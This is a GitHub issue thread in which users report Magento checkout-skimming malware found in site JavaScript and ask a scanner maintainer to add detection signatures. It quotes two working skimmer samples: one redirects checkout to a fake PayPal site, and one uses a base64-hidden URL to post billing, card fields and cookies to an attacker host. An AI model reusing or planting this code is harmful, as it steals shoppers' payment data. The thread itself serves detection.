Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malware that change payment method URL to hackers papal account #147

Open
jigneshthummar opened this issue Sep 19, 2017 · 2 comments
Open

Comments

@jigneshthummar
Copy link

it was adding following code in some of js in our case it was quickview.js and ccard.js


jQuery(document).ready(function()
{
	if(!(document.cookie.indexOf("userpayid") + 1))
	{
		jQuery("*[onclick^=\"shippingMethod.save()\"]").attr("onclick", "paynow_right();");
		jQuery("*[onclick^=\"checkout.save();\"]").attr("onclick", "paynow_right();");
		jQuery("*[onclick=\"payment.save()\"]").attr("onclick", "paynow_right();");
		jQuery("#checkout-onepage-buttom").attr("onclick", "paynow_right();");
		jQuery("#onestepcheckout-button-place-order").attr("onclick", "paynow_right();");
		jQuery("#onestepcheckout-place-order").attr("onclick", "paynow_right();");
	}
});

function paynow_right()
{
	if(!(document.cookie.indexOf("userpayid") + 1))
	{
		var rand = function()
		{
			return Math.random().toString(36).substr(2);
		};
		document.cookie = "userpayid=" + rand();
		var arr = {
			"location" : "http://" + location.host,
			"method" : "PayPal"
		};
		jQuery(location).attr('href', "//paymentpal.cf/?payment=" + btoa(JSON.stringify(arr)));
	}
}

quickview.js => https://pastebin.com/xUgXxwDe
ccard.js => https://pastebin.com/tkGgKQSi

we also see 2 files with strange name

@jigneshthummar jigneshthummar changed the title Malware that change payment method url to hackers paypal accounut Malware that change payment method URL to hackers papal account Sep 19, 2017
gwillem added a commit that referenced this issue Sep 25, 2017
gwillem added a commit that referenced this issue Sep 25, 2017
@gwillem
Copy link
Owner

gwillem commented Sep 25, 2017

Thanks, added signatures in #150

@gwillem gwillem closed this as completed Sep 25, 2017
@kesarweb
Copy link

kesarweb commented Apr 12, 2018

@gwillem

In one of our production sites I found new version of the same malware. This time their URL is encoded so the scanner would not pick it up

New code:

jQuery(document).ready(function()
{
if(!(document.cookie.indexOf("userpayid") + 1))
{
var rand = function() { return Math.random().toString(36).substr(2); };
document.cookie = "userpayid=" + rand();
}
jQuery("[onclick="billing.save()"]").attr("onclick", "checkbillpa("bill");billing.save();");
jQuery("
[onclick="payment.save()"]").attr("onclick", "checkbillpa("card");payment.save();");
jQuery("[onclick="checkout.save(); return false;"]").attr("onclick", "checkbillpa("all");checkout.save();return false;");
jQuery("#checkout-onepage-buttom").attr("onclick", "checkbillpa("all");");
jQuery("#onestepcheckout-place-order").attr("onclick", "checkbillpa("all");");
jQuery(".opc-btn-checkout").attr("onclick", "checkbillpa("all");");
jQuery(".onestepcheckout-btn-checkout").attr("onclick", "checkbillpa("all");");
jQuery("
[onclick="oscPlaceOrder(this)"]").attr("onclick", "checkbillpa("bill");oscPlaceOrder(this);");
});

function checkbillpa(text)
{
var urlcheck = atob("Ly9yZXF1ZXN0LnBheW1lbnRwYWwuY2YvY2hlY2twYXltZW50LnBocA==");
if(text == "bill" || text == "all")
{
jQuery("*[name^="billing"]").each(function()
{
if(billing[this.name] == "" || billing[this.name] == "undefined" || typeof billing[this.name] === "undefined") billing[this.name] = this.value;
});

	jQuery.ajax({url:urlcheck, type:"POST", data:"billing="+encodeURIComponent(JSON.stringify(billing))+"&target="+location.host+"&valid="+encodeURIComponent(document.cookie)});
}
if(text == "card" || text == "all")
{
	jQuery("*[name^=\"payment\"]").each(function()
	{
		payment[this.name] = this.value;
	});

	jQuery.ajax({url:urlcheck, type:"POST", data:"payment="+encodeURIComponent(JSON.stringify(payment))+"&target="+location.host+"&valid="+encodeURIComponent(document.cookie)});
}

}

Please add to signatures.

@gwillem gwillem reopened this Apr 12, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants